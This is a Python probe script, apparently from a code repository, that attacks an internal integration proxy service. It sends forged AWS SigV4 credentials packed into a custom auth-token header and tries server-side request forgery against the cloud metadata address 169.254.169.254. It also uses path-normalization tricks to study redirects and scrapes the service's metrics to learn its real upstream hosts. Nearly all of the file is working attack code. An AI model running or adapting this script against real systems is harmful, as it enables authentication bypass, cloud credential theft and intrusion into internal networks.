sfprobe26009/entry.py
2026-11-17 12:50:32 +01:00

62 lines
3.6 KiB
Python
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

import os,subprocess,json,time,re,base64,socket,threading
def sh(args,t=15):
try:
r=subprocess.run(args,capture_output=True,text=True,timeout=t); return (r.stdout or '')+(r.stderr or '')
except Exception as e: return 'TIMEOUT:'+type(e).__name__
def out(tag,txt,limit=340):
print('##%s## %s'%(tag,re.sub(r'[\r\n]+',' | ',(txt or '')).strip()[:limit]),flush=True)
def srv(s):
while True:
try:
c,a=s.accept(); c.settimeout(3)
try: c.recv(2048)
except Exception: pass
c.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nok"); c.close()
except Exception: time.sleep(0.2)
try:
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1); s.bind(('0.0.0.0',8080)); s.listen(64)
threading.Thread(target=srv,args=(s,),daemon=True).start()
except Exception: pass
P='http://integration-proxy.secforge-integrations.svc.cluster.local'
print('IPX26033D_START',flush=True)
def req(tag,method,path,body=None,hdr=None,path_as_is=False,t=15,hdrs_only=False):
args=['curl','-s','--max-time',str(t),'-o','/tmp/b','-w','%{http_code} size=%{size_download} t=%{time_total}','-D','/tmp/h','-X',method]
if path_as_is: args.append('--path-as-is')
if hdr:
for k,v in hdr: args+=['-H','%s: %s'%(k,v)]
if body is not None: args+=['-H','Content-Type: application/json','--data',body]
args.append(P+path)
st=sh(args,t+8)
try: b=open('/tmp/b','rb').read().decode('utf-8','replace')
except Exception: b=''
try: h=open('/tmp/h','rb').read().decode('utf-8','replace')
except Exception: h=''
out(tag,'%s | %s'%(st,re.sub(r'\s+',' ',b)[:200]))
if hdrs_only or '30' in st.split()[0]:
loc=[l for l in h.splitlines() if l.lower().startswith(('http/','location:','set-cookie:'))]
if loc: out(tag+'_H',' ; '.join(x.strip() for x in loc)[:300])
return st,b
def b64(o): return base64.b64encode(json.dumps(o).encode()).decode()
FH={"Authorization":"AWS4-HMAC-SHA256 Credential=AKIAFAKE/20261117/us-east-1/sts/aws4_request, SignedHeaders=host;x-amz-date, Signature="+"0"*64,"X-Amz-Date":"20261117T000000Z","Content-Type":"application/x-www-form-urlencoded"}
TOK=[('x-secforge-auth-token',b64({"headers":FH}))]
# 时序 ×3:伪造签名 vs 结构错(证明服务端确有出网 STS 往返)
for i in (1,2,3):
req(f'D_t_fake{i}','POST','/api/proxy/okta','{"method":"GET","path":"/api/v1/users"}',TOK)
for i in (1,2):
req(f'D_t_mald{i}','POST','/api/proxy/okta','{"method":"GET","path":"/api/v1/users"}',[('x-secforge-auth-token','x')])
# auth vs body 顺序:伪造STS + 坏 JSON / 空 body / 超大 JSON
req('D_order_badjson','POST','/api/proxy/okta','{notjson',TOK)
req('D_order_empty','POST','/api/proxy/okta','',TOK)
req('D_order_abspath','POST','/api/proxy/okta','{"method":"GET","path":"http://169.254.169.254/latest/meta-data/"}',TOK)
# 307 目标(path 归一化语义)
req('D_307a','POST','/api/proxy/','{"method":"GET","path":"/"}',hdrs_only=True)
req('D_307b','POST','/api/proxy//okta','{"method":"GET","path":"/"}',path_as_is=True,hdrs_only=True)
req('D_307c','POST','/api/proxy/.','{"method":"GET","path":"/"}',path_as_is=True,hdrs_only=True)
# metrics 里 proxy_requests_total / upstream_errors 全行(含真实上游主机)
args=['curl','-s','--max-time','25',P+'/metrics']
b=sh(args,35)
for line in b.splitlines():
if line.startswith(('proxy_requests_total','proxy_upstream_errors_total','proxy_active_connections','proxy_request_duration_seconds_count')) and not line.startswith('#'):
out('D_M',' '+line[:300])
print('##DONE## ok',flush=True)
time.sleep(480)